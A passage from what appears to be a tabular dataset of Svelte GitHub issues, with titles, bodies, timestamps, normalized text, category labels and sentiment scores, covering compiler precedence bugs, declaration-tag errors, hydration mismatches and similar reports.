annoyance",,2026-06-03 22:27:47+00:00,2026-06-03 22:29:58+00:00,1,nan,0.0015,bad order of operations in expressions describe the bug const big are you kidding const small console log false small big in typescript the output is false in a svelte component the output is are you kidding it would seem the original expression is being transpiled to false small big reproduction the example given in the description is easily reproduced logs system info severity annoyance,others,-0.5106
sveltejs/svelte,4582282753,[5.56.1] Compiler drops required parentheses in `a && (b || c)`,"### Describe the bug

5.56.1 has a codegen bug where parentheses that matter for operator
precedence get dropped. A parenthesized `||` sitting inside an `&&` comes out
ungrouped. Since `&&` binds tighter than `||`, the expression quietly changes
meaning:

```
a && (b || c)   →   a && b || c   →   (a && b) || c
```

### Expected vs actual

- **Expected:** the generated code keeps the grouping, so it evaluates the same as the source.
- **Actual:** the parens disappear whenever a `||` is an operand of `&&`, which flips the result.

### Reproduction

```js
import { compile, VERSION } from 'svelte/compiler';

const src = `
<script>
	let a = $state(true);
	let b = $state(true);
	let c = $state(true);
	const r = $derived(a && (b || c));
</script>
{r}
`;

console.log(VERSION);
console.log(compile(src, { generate: 'client' }).js.code.match(/const r =.*/)[0]);
```

```
5.56.1
const r = $.derived(() => a && b || c);   // the (b || c) parens are gone
```

A few more shapes from the same call:

| Written                | Generated            | OK?                            |
| ---------------------- | -------------------- | ------------------------------ |
| `a && (b \|\| c)`      | `a && b \|\| c`      | no — now `(a && b) \|\| c`     |
| `(a \|\| b) && c`      | `a \|\| b && c`      | no — now `a \|\| (b && c)`     |
| `a && (b \|\| c) && d` | `a && b \|\| c && d` | no                             |
| `a \|\| (b && c)`      | `a \|\| b && c`      | fine (those parens were redundant) |

... [TRUNCATED]",,2026-06-03 17:45:20+00:00,2026-06-03 17:53:00+00:00,1,nan,0.0053,compiler drops required parentheses in describe the bug has a codegen bug where parentheses that matter for operator precedence get dropped a parenthesized sitting inside an comes out ungrouped since binds tighter than the expression quietly changes meaning expected vs actual expected the generated code keeps the grouping so it evaluates the same as the source actual the parens disappear whenever a is an operand of which flips the result reproduction a few more shapes from the same call written generated ok no now no now no fine those parens were redundant truncated,others,-0.8555
sveltejs/svelte,4579792011,await_reactivity_loss: false positive on a synchronous read in an unrelated component (leaked global tracker),"### Describe the bug

With compilerOptions.experimental.async: true, await_reactivity_loss is emitted for a synchronous state read in a component that contains no await at all.

The warning's own stack trace shows the read happening inside an ordinary synchronous derived, there is no await, no async function, and no track_reactivity_loss anywhere in the read's stack. Reactivity not actually lost; the dependency is tracked correctly and the value updates as expected.


### Reproduction

https://svelte.dev/playground/7babc55d2f8c47dc99c3cde01732a509?version=5.56.1

Steps: click change a few times. await_reactivity_loss is logged for Store.#undoStack, traced to get canUndo ← Bar.svelte, even though Bar has no await and Async never reads #undoStack.

Note: this is a race in the microtask queue, so the warning count varies per click. The multiple <Async /> instances and the nested queueMicrotask only widen the timing window — they aren't essential to the mechanism. A single block fired intermittently for me; the wider setup makes it reliable.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 2.09 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /Users/reinhard/.nvm/versions/node/v22.18.0/bin/node
    npm: 10.9.4 - /Users/reinhard/.nvm/versions/node/v22.18.0/bin/npm
    bun: 1.3.14 - /Users/reinhard/.bun/bin/bun
  Browsers:
    Brave Browser: 146.1.88.134
    Chrome: 148.0.7778.181
  ... [TRUNCATED]",,2026-06-03 12:25:45+00:00,2026-06-04 01:49:21+00:00,0,nan,0.5581,await reactivity loss false positive on a synchronous read in an unrelated component leaked global tracker describe the bug with compileroptions experimental async true await reactivity loss is emitted for a synchronous state read in a component that contains no await at all the warning s own stack trace shows the read happening inside an ordinary synchronous derived there is no await no async function and no track reactivity loss anywhere in the read s stack reactivity not actually lost the dependency is tracked correctly and the value updates as expected reproduction steps click change a few times await reactivity loss is logged for store undostack traced to get canundo bar svelte even though bar has no await and async never reads undostack note this is a race in the microtask queue so the warning count varies per click the multiple instances and the nested queuemicrotask only widen the timing window they aren t essential to the mechanism a single block fired intermittently for me the wider setup makes it reliable logs system info shell system os macos cpu arm apple m pro memory gb gb shell bin zsh binaries node users reinhard nvm versions node v bin node npm users reinhard nvm versions node v bin npm bun users reinhard bun bin bun browsers brave browser chrome truncated,others,-0.9353
sveltejs/svelte,4579229125,Compiler drops precedence-significant parentheses in logical expressions (`(a || b) && c` → `a || b && c`),"### Describe the bug

The compiler drops **precedence-significant parentheses** from logical (`&&`/`||`) expressions, generating valid-but-semantically-wrong JavaScript. Any parenthesized `||` group used as an operand of `&&` is corrupted.

For example, `(b || a) && c` is compiled to `b || a && c`, which by JS operator precedence means `b || (a && c)` — a different boolean. This silently produces incorrect runtime values (not a syntax error), so it fails quietly.

This happens in **every expression context**: `$derived(...)`, `$:` reactive statements, and inline template attributes (`disabled={...}`).

It is distinct from the closed Svelte 3 issue #5558 (that one was about `??` mixing causing a *syntax error*; this one produces valid but wrong code).

### Reproduction

Compiling with `svelte/compiler` (5.56.1):

```js
import { compile } from 'svelte/compiler';
const src = `<script>let a=$state(false), b=$state(true), c=$state(false); const x=$derived((b||a)&&c);</script>{x}`;
console.log(compile(src, { generate: 'client', runes: true }).js.code);
// ->  const x = $.derived(() => b || a && c);     // parens dropped: now (b || (a && c))
```

Runtime demonstration (REPL):

```svelte
<script>
  let a = $state(false);
  let b = $state(true);
  let c = $state(false);
  // intent: (b || a) && c  =>  (true || false) && false  =>  false
  const result = $derived((b || a) && c);
</script>
<p>{result}</p>
```

Renders **`true`** — should be **`false`**. The compiled getter is `() => b |... [TRUNCATED]",,2026-06-03 11:03:27+00:00,2026-06-03 15:31:31+00:00,2,nan,0.1862,compiler drops precedence significant parentheses in logical expressions describe the bug the compiler drops precedence significant parentheses from logical expressions generating valid but semantically wrong javascript any parenthesized group used as an operand of is corrupted for example is compiled to which by js operator precedence means a different boolean this silently produces incorrect runtime values not a syntax error so it fails quietly this happens in every expression context reactive statements and inline template attributes it is distinct from the closed svelte issue that one was about mixing causing a syntax error this one produces valid but wrong code reproduction compiling with runtime demonstration repl renders should be the compiled getter is b truncated,others,-0.4638
sveltejs/svelte,4573160843,New const declaration shows error when using the animate directive inside each block,"### Describe the bug

By using the new `{const}` thing, and having an item with the animate directive rigt below it, we get the error:

""An element that uses the `animate:` directive must be the only child of a keyed `{#each ...}` block""

If I then change to the ""old"" `{@const}` the error goes away

<img width=""1915"" height=""987"" alt=""Image"" src=""https://github.com/user-attachments/assets/af03ab11-0dc8-4b6d-a32f-e93e4dcd0e59"" />


PS: I'm not sure how to classify the severity, the app doesn't build with it, and that's my first time creating a bug report lol

### Reproduction

```svelte
<script>
  const array = [{ id: 1, name: 'a'}]
</script>

{#each array as item (item.id)}
  {const iName = item.name}
  <div animate:flip>
    <p>{iName}</p>
  </div>
{/each}
```
Playground link: https://svelte.dev/playground/0100487a59e6457597df4d2c90f0f733?version=latest


### Logs

```shell

```

### System Info

```shell
Packages:
svelte: 5.56.1
svelte-check: 4.5.0

Extension:
svelte.svelte-vscode: 110.1.0
```

### Severity

annoyance",,2026-06-02 16:22:48+00:00,2026-06-02 23:12:26+00:00,0,nan,0.2845,new const declaration shows error when using the animate directive inside each block describe the bug by using the new thing and having an item with the animate directive rigt below it we get the error an element that uses the directive must be the only child of a keyed block if i then change to the old the error goes away ps i m not sure how to classify the severity the app doesn t build with it and that s my first time creating a bug report lol reproduction playground link logs system info severity annoyance,bug,-0.9587
sveltejs/svelte,4566455394,"Docs: clarify that bare `{const}` is not reactive, unlike the `{@const}` it replaces","### Describe the bug

The [declaration-tags docs](https://svelte.dev/docs/svelte/declaration-tags) say `{@const ...}` is legacy and to use `{const ...}` instead, but don't mention that the two behave differently. `{@const x = e}` was reactive — a `$derived` behind the
scenes, the same way `{count}` updates in the template. A bare `{const x = e}` is not: it behaves like a `const` in `<script>`, evaluated once. So a `{@const}` → `{const}` rename silently drops reactivity — no compile or type error, the UI just stops updating — until it's rewritten as `{const x = $derived(e)}`.

The page never says this, and its only bare-`{const}` example is inside an `{#each}`. A bare `{const}` there is one-time too — recomputed when an item is created, not when an item's data mutates — but the example's array is static, so it can never go stale, which makes bare `{const}` look reactive when it isn't.

A short note next to ""use declaration tags instead"" would cover it:

| was              | reactive equivalent       | one-time        |
| ---------------- | ------------------------- | --------------- |
| `{@const x = e}` | `{const x = $derived(e)}` | `{const x = e}` |


### Reproduction

REPL: <https://svelte.dev/playground#H4sIAAAAAAAAA4WSUU6EMBCGr9JUHyAsoq9YyK56C_GhW2a1sTuQdmDdEBIP4Qk9iaFFSMwmvk2n__z950sHjvIIPOeSUtWgo7R3a1GD1T3UqcbUoW5bIL7hJLU5aax5fpDGwYYftAHH8-eB07mdvKYG3_w679r2xvVgaOrtpYNLfdUgAZLjORdOWd1SWWFFBoippkNiBbt2JAmi2_i-QpGtIhT7jqhB1qAyWr0XQxSzogxzSTKWGpWFIyCx78-v2U47hs2JDf40iixYeLv... [TRUNCATED]",,2026-06-01 21:11:41+00:00,2026-06-01 21:26:59+00:00,4,nan,0.0106,docs clarify that bare is not reactive unlike the it replaces describe the bug the declaration tags docs say is legacy and to use instead but don t mention that the two behave differently was reactive a behind the scenes the same way updates in the template a bare is not it behaves like a in evaluated once so a rename silently drops reactivity no compile or type error the ui just stops updating until it s rewritten as the page never says this and its only bare example is inside an a bare there is one time too recomputed when an item is created not when an item s data mutates but the example s array is static so it can never go stale which makes bare look reactive when it isn t a short note next to use declaration tags instead would cover it was reactive equivalent one time reproduction repl truncated,documentation,-0.871
sveltejs/svelte,4559490813,hangs (infinite loop) on a `{const}` / `{let}` whose expression ends with a bare `/` at end of input,"### Describe the bug

I found this issue while working on https://github.com/sveltejs/svelte/pull/18330.

This hang can be particularly problematic when it occurs in the language server.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.56.0#H4sIAAAAAAAAE23LsQrCMBSF4Ve5nEkhKK4BBzffQRxScwqBa1Kaq62EvrtkcHP9-P-GHJ6Ex5WqRZYya5QdYzLGPRzGpKzwtwb7TL3rAPe7LtN0qG-qdRtC5T9_lGzMVuHRlCarnOUkRzgYV4O3-cXt7mAh6ZJyhB-DVm5fqIXUbZwAAAA

### Logs

```shell

```

### System Info

```shell
I'm using the playground
```

### Severity

annoyance",,2026-06-01 00:21:12+00:00,2026-06-01 08:04:01+00:00,0,nan,0.3214,hangs infinite loop on a whose expression ends with a bare at end of input describe the bug i found this issue while working on this hang can be particularly problematic when it occurs in the language server reproduction logs system info severity annoyance,others,-0.8173
sveltejs/svelte,4557341409,[5.55.10] Hydration mismatch when reading an async derived in component prop,"### Describe the bug

Starts to appear in 5.55.10. I suspect this is the reason element ref bindings are broken in my app (a dialog trigger doesn't open dialog when clicked). Still investigating.

### Reproduction

```html
<script>
	let { onclick } = $props();
</script>
 <button {onclick}> A button </button>
```
```html
<script lang=""ts"">
	import Button from '$lib/button.svelte';
	async function getFoo() {
		return 'foo';
	}
	const foo = $derived(await getFoo());
</script>

{foo}
<Button
	onclick={()=>foo}
/>
```
https://stackblitz.com/edit/sveltejs-kit-template-default-h6zh24k5?file=src%2Froutes%2F%2Bpage.svelte,src%2Flib%2Fbutton.svelte


### Logs

```shell

```

### System Info

```shell
svelte@5.55.10
kit@2.61.1
```

### Severity

blocking an upgrade",,2026-05-31 11:05:05+00:00,2026-06-01 21:39:51+00:00,0,nan,1.4408,hydration mismatch when reading an async derived in component prop describe the bug starts to appear in i suspect this is the reason element ref bindings are broken in my app a dialog trigger doesn t open dialog when clicked still investigating reproduction logs system info severity blocking an upgrade,others,-0.872
sveltejs/svelte,4557293436,declaration tags: if with wrong declaration,"### Describe the bug

Hey! 

I was playing with the new declarations. Not sure if I'm missing something obvious, but the following case doesn't seem to produce any warning / error (just runtime exception): 
```svelte
<script lang=""ts"">
	let show = $state(false);
	
	class Todo {
		done = $state(false);
		doubleText = $derived(`${this.text}-${this.text}`);
	
		constructor(text) {
			this.text = $state(text);
			$effect(() => console.log(this.text));
		}
	
		reset() {
			this.text = '';
			this.done = false;
		}
	}
</script>

<button onclick={() => show = !show}>Toggle</button>

{#if show}
	{c = new Todo('init')}
	{c = new Todo('init')}
	{c = new Todo('init')}
	{d = new Date()}
	{i = 10}
	{s = ''}

	{d}
	{c.doubleText}
	<input bind:value={c.text} />
{/if}
```
Note that `{s = $state('')}` is reported as an error. I also get an error in case `{#if true} ... {/if}`. 

### Reproduction

[playground](https://svelte.dev/playground/774e058a26774216b15d4ce39af45225?version=5.56.0)

### Logs

```shell

```

### System Info

```shell
Just using the playground
```

### Severity

annoyance",,2026-05-31 10:43:32+00:00,2026-05-31 12:17:16+00:00,1,nan,0.0651,declaration tags if with wrong declaration describe the bug hey i was playing with the new declarations not sure if i m missing something obvious but the following case doesn t seem to produce any warning error just runtime exception note that is reported as an error i also get an error in case reproduction playground logs system info severity annoyance,others,-0.9672
sveltejs/svelte,4557290118,Feature suggestion,Hi DEATHLEGION here from Sri Lanka. This is an amazing project! I was wondering if there are plans to add support for TypeScript? Would love to contribute if needed.,,2026-05-31 10:41:58+00:00,2026-05-31 14:14:24+00:00,1,nan,0.1475,feature suggestion hi deathlegion here from sri lanka this is an amazing project i was wondering if there are plans to add support for typescript would love to contribute if needed,feature,0.8934
sveltejs/svelte,4556684331,built in simple helper/template/tag/something for render icons easily,"### Describe the problem

It's a fact that many websites use SVG icons these days.

And it's very common to have a dynamic style for these icons in `hover,` `focus,` `click,` etc.

In Svelte, the most appropriate way to do this is to wrap the SVG in a component and have full control over the SVG's properties.

---

The easiest way to use an icon in Svelte is by importing it and adding it to the `src` attribute of the `img` tag.
However, this makes it impossible to edit any of the icon's CSS properties.

### Describe the proposed solution

It would be great to have something similar to what Astro has for icons.

https://docs.astro.build/es/guides/images/#componentes-svg

with a simple syntax and control at least of basic svg properties like `width` `height` and `colors` ; not for nested svgs, only for simple svgs.

example:
```html
<script lang=""ts"">
    import Logo from './path/to/svg/file.svg';
</script>

<Logo />
```

### Importance

would make my life easier",,2026-05-31 05:37:36+00:00,2026-05-31 08:35:12+00:00,1,nan,0.1233,built in simple helper template tag something for render icons easily describe the problem it s a fact that many websites use svg icons these days and it s very common to have a dynamic style for these icons in etc in svelte the most appropriate way to do this is to wrap the svg in a component and have full control over the svg s properties the easiest way to use an icon in svelte is by importing it and adding it to the attribute of the tag however this makes it impossible to edit any of the icon s css properties describe the proposed solution it would be great to have something similar to what astro has for icons with a simple syntax and control at least of basic svg properties like and not for nested svgs only for simple svgs example importance would make my life easier,help,0.9623
sveltejs/svelte,4555807432,Declaration tag bugs,"[This doesn't work](https://svelte.dev/playground/aaac159f0f73466bb3859dfed6792cab?version=5.56.0#H4sIAAAAAAAAE23OwQrCMAwG4FcJwcMm4sRjcQOfwaPz0LlMCjUrazaVsXc3HR69FPL175_OyPZJaPAiVggcQ2QXAknEHXbOU0RznVE-IYUSqP-enEPYx4m8JGtspH9-71mItc7g7Emg63soYRPTuuyQ76CxQ4KWBjdRm6X7LRzzpeaaT47DKJC2lzUOlh9UIzSOWzNZP1I5a3yBolrDodLJwGqnIlQrab2Snivph4TegkaGkZabTtb5l_ah6ayPtHwBLUNLvRABAAA) — the `foo` declaration isn't correctly transformed inside the `bar` declaration:

```svelte
{let foo = $state(0), bar = $derived(foo * 2)}

<input type=""range"" bind:value={foo} />

<p>foo: {foo}</p>
<p>bar: {bar}</p>
```

Either we should make this work, or prohibit declarations with multiple declarators.

You can put them in [separate declarations](https://svelte.dev/playground/hello-world?version=5.56.0#H4sIAAAAAAAAE23OwWrDMAwG4FcRYod0jLXsaJrAbnuHpQenVoZBs42tpC0h717Z7LiLQZ9-_2jDYH8JDX4Rc4RbzOygI-eF3AHfcPZMBc33hvJINVdB_e_XZ0rvZSWWapMt9J9fYxAKojW4MQnMMUIPL0WsUHc67GNoPNlc2VH2K7mupl7ho67HcPYhLQL1hn7EbMMPjQiTD86slhfqN43vcBxaOA06GWh2PqahkdYr6dtIzxK6CxrJC-0Xnaznm_ahmS0X2p_iXweHGQEAAA) and it works, but there's an erroneous compiler warning:

```svelte
{let foo = $state(0)}
{let bar = $derived(foo * 2)}

<input type=""range"" bind:value={foo} />

<p>foo: {foo}</p>
<p>bar: {bar}</p>
```

[Whitespace](https://svelte.dev/playground/aaac159f0f73466bb3859dfed6792cab?version=5.56.0#H4sIAAAAAAAAE23OzQrCMAwH8FcJwcMUUfFY3MBn8Gg9dC6TQs3Kmk1l7N1Nh0d7KOTHPx8TsnsSGryIEwLPkNjHSJJwi60PlNBcJ5RPzKEM6r-Wc4y7NFKQbLVL9M_vHQuxjjM4WbYSSKDtO... [TRUNCATED]",bug,2026-05-30 21:53:55+00:00,2026-06-01 07:59:39+00:00,0,bug,1.4206,declaration tag bugs this doesn t work the declaration isn t correctly transformed inside the declaration either we should make this work or prohibit declarations with multiple declarators you can put them in separate declarations and it works but there s an erroneous compiler warning whitespace truncated,bug,-0.7783
sveltejs/svelte,4555404907,"`set_attributes` doesn't prioritize `type` before `value` for input elements, causing newline stripping with spreads","### Describe the bug

When spreading props onto an `<input>` element and explicitly setting `type=""hidden""` after the spread, newlines in the `value` are silently stripped on initial client-side render.

Minimal case:

```svelte
<script>
  const spread = $state({ name: ""field"", value: ""line1\nline2\nline3"" });
</script>

<!-- BUG: newlines stripped -->
<input {...spread} type=""hidden"" />

<!-- OK: newlines preserved -->
<input type=""hidden"" {...spread} />
```

### Root cause

`set_attributes()` in `src/internal/client/dom/elements/attributes.js` iterates the merged props object with `for (const key in next)`. JavaScript iterates object keys in insertion order, so for:

```js
{ ...spread(), type: ""hidden"" }
```

`value` (from the spread) is visited **before** `type`. At that point the element is still `type=""text""` (the default). Setting `.value` on a text input triggers the [HTML value sanitization algorithm](https://html.spec.whatwg.org/multipage/input.html#value-sanitization-algorithm), which strips `\n` and `\r`. By the time `type` is set to `""hidden""`, the newlines are permanently lost.

The reverse order (`{ type: ""hidden"", ...spread() }`) works because `type` appears first in insertion order and is set before `value`.

### Suggested fix

When `set_attributes` encounters both `type` and `value` for an `<input>` element, it should set `type` before `value` regardless of iteration order. This mirrors what React does — React's DOM reconciler [explicitly sets `type` before o... [TRUNCATED]",,2026-05-30 19:11:56+00:00,2026-05-31 16:16:38+00:00,0,nan,0.8783,doesn t prioritize before for input elements causing newline stripping with spreads describe the bug when spreading props onto an element and explicitly setting after the spread newlines in the are silently stripped on initial client side render minimal case root cause in iterates the merged props object with javascript iterates object keys in insertion order so for from the spread is visited before at that point the element is still the default setting on a text input triggers the html value sanitization algorithm which strips and by the time is set to the newlines are permanently lost the reverse order works because appears first in insertion order and is set before suggested fix when encounters both and for an element it should set before regardless of iteration order this mirrors what react does react s dom reconciler explicitly sets before o truncated,feature,-0.1027
sveltejs/svelte,4553273756,Cannot use ternary expressions in template text content,"### Describe the bug

I want to use a ternary expression instead of a variable declaration, but it results in an error. This issue did not occur in v5.55.0.

<img width=""816"" height=""176"" alt=""Image"" src=""https://github.com/user-attachments/assets/6e6e5ddc-265a-47ec-935b-4ba1e03c7afa"" />

### Reproduction

https://svelte.dev/playground/hello-world?version=5.56.0#H4sIAAAAAAAAE22PQU_DMAyF_4plDgWpovesLdp_4LbskHbeiGTcKvYGU9X_jpKC4MDFiZ7fy_eyoIR3QodMBg2Mk6gBpTQlrPEcmRTdYUG7z9mUBax_Ivt5ftYbsWVtCEr_6eMkRmKKDlsdU5wNOMil82jqsfcCkNHnyEbp9T6TA7UU5bLLq61PUCXLO4UODlWoaqiGPAJzdYSgm2_npW02Ru_FS6vENBoMUU7uFvhK3fLLWQt7eaAwvv0lBIX8W3jM82nNJoB2mi1OAt-vWMmXA7qu24rAC1R75pLWCly5rG2zRTdak2lr6Vm69V6wRqNPQ2fpSuuxRguRP6Kc0J0DK61f139PcKMBAAA

### Logs

```shell

```

### System Info

```shell
N/A (I'm using playground)
```

### Severity

blocking an upgrade",,2026-05-30 04:58:20+00:00,2026-06-01 08:03:43+00:00,0,nan,2.1287,cannot use ternary expressions in template text content describe the bug i want to use a ternary expression instead of a variable declaration but it results in an error this issue did not occur in v reproduction logs system info severity blocking an upgrade,others,-0.85
sveltejs/svelte,4551456613,"playground download script: fetch lacks AbortController/timeout, hangs indefinitely on slow svelte.dev API","## Summary

The `playgrounds/sandbox/scripts/download.js` script fetches a playground JSON file from `https://svelte.dev/playground/api/${id}.json` without an `AbortController` or a timeout signal. If the upstream API is slow, stalled, or unreachable, the `await fetch(...)` call will hang indefinitely, blocking any developer or CI job running the script with a Svelte playground URL that uses a server-side ID (no URL hash). This is a straightforward code-quality improvement: the fetch should carry a timeout so the script fails fast and clearly rather than hanging silently.

## What I observed

In `playgrounds/sandbox/scripts/download.js`, lines 733–736, the `else` branch for a playground URL without a hash fragment makes an unbounded network call:

```js
// playgrounds/sandbox/scripts/download.js, line 733
const id = url.pathname.split('/')[2];
const response = await fetch(`https://svelte.dev/playground/api/${id}.json`);

files = (await response.json()).components.map((data) => {
```

There is no `signal` passed to `fetch`, so if `svelte.dev` takes arbitrarily long to respond (or never does), the process simply stalls with no timeout and no diagnostic output.

## Suggested fix

Pass `signal: AbortSignal.timeout(30_000)` (or a similar reasonable duration) in the fetch options. `AbortSignal.timeout` is available in Node.js 17.3+ (the repo already targets modern Node.js):

```js
const response = await fetch(`https://svelte.dev/playground/api/${id}.json`, {
    signal: AbortSignal... [TRUNCATED]",,2026-05-29 20:34:18+00:00,2026-05-30 10:57:38+00:00,1,nan,0.5995,playground download script fetch lacks abortcontroller timeout hangs indefinitely on slow svelte dev api summary the script fetches a playground json file from without an or a timeout signal if the upstream api is slow stalled or unreachable the call will hang indefinitely blocking any developer or ci job running the script with a svelte playground url that uses a server side id no url hash this is a straightforward code quality improvement the fetch should carry a timeout so the script fails fast and clearly rather than hanging silently what i observed in lines the branch for a playground url without a hash fragment makes an unbounded network call there is no passed to so if takes arbitrarily long to respond or never does the process simply stalls with no timeout and no diagnostic output suggested fix pass or a similar reasonable duration in the fetch options is available in node js the repo already targets modern node js js const response await fetch signal abortsignal truncated,others,-0.8255
sveltejs/svelte,4536144849,Stale component state handles after remount,"### Describe the bug

State handles exposed by child components can become stale after conditional remounts. Updating an old handle may still update shared backing state, but it does not update the currently rendered component instance until that instance is remounted again.

### Reproduction

https://svelte.dev/playground/a4eaa892710940f0939d2d61838e08ee?version=latest

1. Expand alpha/beta
2. Hide All
3. Show All
4. Collapse All

Goal: Collapse All should collapse everything.

After items are hidden by a filter and shown again, the child components are remounted, but the parent still holds old state handles, what is interesting is that it actually does collapse it under the hood because if you click ""hide all"" then ""show all"" after the reproduction steps it shows them collapsed.

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-05-27 22:21:17+00:00,2026-05-27 22:28:56+00:00,1,nan,0.0053,stale component state handles after remount describe the bug state handles exposed by child components can become stale after conditional remounts updating an old handle may still update shared backing state but it does not update the currently rendered component instance until that instance is remounted again reproduction expand alpha beta hide all show all collapse all goal collapse all should collapse everything after items are hidden by a filter and shown again the child components are remounted but the parent still holds old state handles what is interesting is that it actually does collapse it under the hood because if you click hide all then show all after the reproduction steps it shows them collapsed logs system info severity annoyance,others,-0.9674
sveltejs/svelte,4485891945,Nested `bind` does not propagate under specific circumstances,"### Describe the bug

Version `5.55.6` introduced a bug when having a nested `bind` directive, and updating its value from the outermost parent after it has been mounted, which does not cause a proper rerender of the child (the value _does_ seem to update).

These ""special circumstances"" include a (seemingly empty) boundary as well.

So far I have only verified the bug using `bits-ui`, but maybe it could be reproduced with something a bit more native as well...

### Reproduction

https://svelte.dev/playground/c0d95a62bb3a4bb1910bea0c6fd9bc6a?version=latest

### Logs

NIL

### System Info

Irrelevant

### Severity

blocking an upgrade",,2026-05-20 11:21:04+00:00,2026-05-20 21:49:40+00:00,0,nan,0.4365,nested does not propagate under specific circumstances describe the bug version introduced a bug when having a nested directive and updating its value from the outermost parent after it has been mounted which does not cause a proper rerender of the child the value does seem to update these special circumstances include a seemingly empty boundary as well so far i have only verified the bug using but maybe it could be reproduced with something a bit more native as well reproduction logs nil system info irrelevant severity blocking an upgrade,others,-0.3291
sveltejs/svelte,4482474892,Use of `$.strict_equals` in dev mode leads to unexpected scripts,"### Describe the bug

Relates to https://github.com/sveltejs/svelte/issues/13214.

While creating a script to be used as an injected script to `<svelte:head>`, I noticed strict comparisons to non-reactive variables compiles to `$.strict_equals`, and that wouldn't work for my use case of running scripts within `<head>`.

The script used for my application:

```html
<script module>
  const themes = Object.freeze({ auto: 'auto', light: 's-light', dark: 's-dark' })
  type ThemeValues = (typeof themes)[keyof typeof themes]

  const THEME_STORAGE_KEY = 'theme'

  function getThemePreference() {
    const THEME_STORAGE_KEY = 'theme'

    const themePreference = localStorage.getItem(THEME_STORAGE_KEY) as ThemeValues | null
    if (!themePreference) return

    if (themePreference === 's-dark' || themePreference === 's-light') {
      document.documentElement.classList.add(themePreference)
    }
  }
</script>

<svelte:head>
  {#if instance.current === 1}
    {@html `<script>(${getThemePreference.toString()})()</script>`}
  {/if}
</svelte:head>
```

Using `@html` I'm inlining my `getThemePreference` function and calling it within `<head>` before `<body>` gets parsed and rendered. But since comparisons like `themePreference === 's-dark'` compiles to `$.strict_equals(themePreference, 's-dark')`, it interferes with local testing since `$` would not be available at the time my script runs.

Since I'm not using Runes, I would expect equivalence expressions (`===`) to not compile to `$.stric... [TRUNCATED]",,2026-05-20 01:52:51+00:00,2026-05-21 20:27:00+00:00,3,nan,1.7737,use of in dev mode leads to unexpected scripts describe the bug relates to while creating a script to be used as an injected script to i noticed strict comparisons to non reactive variables compiles to and that wouldn t work for my use case of running scripts within the script used for my application using i m inlining my function and calling it within before gets parsed and rendered but since comparisons like compiles to it interferes with local testing since would not be available at the time my script runs since i m not using runes i would expect equivalence expressions to not compile to stric truncated,others,0.431
sveltejs/svelte,4470011206,Broken navigation with type error in transitions.js,"### Describe the bug

For Immich, svelte v5.55.3 seems to have introduced an issue with navigation animations.
When clicking on a link to a different page, the browser correctly navigates (the URL updates, the page load of the new page is triggered, etc) but the new page doesn't replace the current page. Instead, it renders below the current page, making the entire website scrollable:

<img width=""1912"" height=""1242"" alt=""Image"" src=""https://github.com/user-attachments/assets/c38a500f-3276-44e1-a9f3-039ca8b2705f"" />

Looking at the browser console, https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/client/dom/elements/transitions.js#L419 throws a type error on the `Math.abs` call:

<img width=""382"" height=""471"" alt=""Image"" src=""https://github.com/user-attachments/assets/4cd597d7-5f80-476b-881a-546c9605acf1"" />

As it's reliably reproducible with just the svelte upgrade I am fairly positive this isn't on us. However, there is still a likelihood of us doing something that isn't intended to be done that way which is now causing this error. In that case I'd appreciate any pointers, if possible. 

### Reproduction

We've got the renovate PR here https://github.com/immich-app/immich/pull/28434 which also has a preview environment you can open. For the credentials please either reach out on Discord (`@ddietzler` or just ask in a general channel), or ask @benmccann.

### Logs

```shell
[svelte] derived_inert
Reading a derived belonging to a now-destroyed effect... [TRUNCATED]",,2026-05-18 14:36:00+00:00,2026-05-18 15:55:26+00:00,1,nan,0.0552,broken navigation with type error in transitions js describe the bug for immich svelte v seems to have introduced an issue with navigation animations when clicking on a link to a different page the browser correctly navigates the url updates the page load of the new page is triggered etc but the new page doesn t replace the current page instead it renders below the current page making the entire website scrollable looking at the browser console throws a type error on the call as it s reliably reproducible with just the svelte upgrade i am fairly positive this isn t on us however there is still a likelihood of us doing something that isn t intended to be done that way which is now causing this error in that case i d appreciate any pointers if possible reproduction we ve got the renovate pr here which also has a preview environment you can open for the credentials please either reach out on discord or just ask in a general channel or ask benmccann logs shell svelte derived inert reading a derived belonging to a now destroyed effect truncated,bug,-0.8537
sveltejs/svelte,4461357547,False TS2367 error: $state with explicit type annotation infers initializer literal type instead of declared type,"### Describe the bug

I'm getting a TS2367 error in both the editor and  svelte check from the following:

```svelte
<script lang='ts'>
  const colors = [
    'red',
    'orange',
    'yellow',
    'green',
    'blue',
    'indigo',
    'violet',
    'black',
    'white',
  ] as const;
  type Color = (typeof colors)[number];
  let favorite: Color = $state('red');
  // the following errors....
  let isMonochrome: boolean = $derived(
    favorite === 'black' || favorite === 'white',
  );
  // but this does not...
  let isMonochrome2: boolean = $derived(
    ['black', 'white', 'gray'].includes(favorite),
  );
</script>
```
From the fact that`isMonochrome` errors and `isMonochrome2` does not, I think the `let favorite: Color = $state('red');` is being typed as `string` rather than `Color`.

Here are the errors:

```
This comparison appears to be unintentional because the types '""red""' and '""black""' have no overlap.
This comparison appears to be unintentional because the types '""red""' and '""white""' have no overlap.
```

### Reproduction

https://github.com/cdcarson/svelte-lang-false-TS2367

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (11) arm64 Apple M3 Pro
    Memory: 237.05 MB / 18.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.1 - /Users/cdcarson/.nvm/versions/node/v24.11.1/bin/node
    npm: 11.6.2 - /Users/cdcarson/.nvm/versions/node/v24.11.1/bin/npm
    pnpm: 10.33.0 - /Users/cdcarson/Library/pnpm/pnpm
    bun: 1.3.2 -... [TRUNCATED]",,2026-05-16 21:29:01+00:00,2026-05-16 22:44:02+00:00,2,nan,0.0521,false ts error state with explicit type annotation infers initializer literal type instead of declared type describe the bug i m getting a ts error in both the editor and svelte check from the following from the fact that errors and does not i think the is being typed as rather than here are the errors reproduction logs system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node users cdcarson nvm versions node v bin node npm users cdcarson nvm versions node v bin npm pnpm users cdcarson library pnpm pnpm bun truncated,bug,-0.9153
sveltejs/svelte,4453517993,createSubscriber gets called outside of reactive context access,"### Describe the bug

```ts
const subscribe = createSubscriber((upd) => {
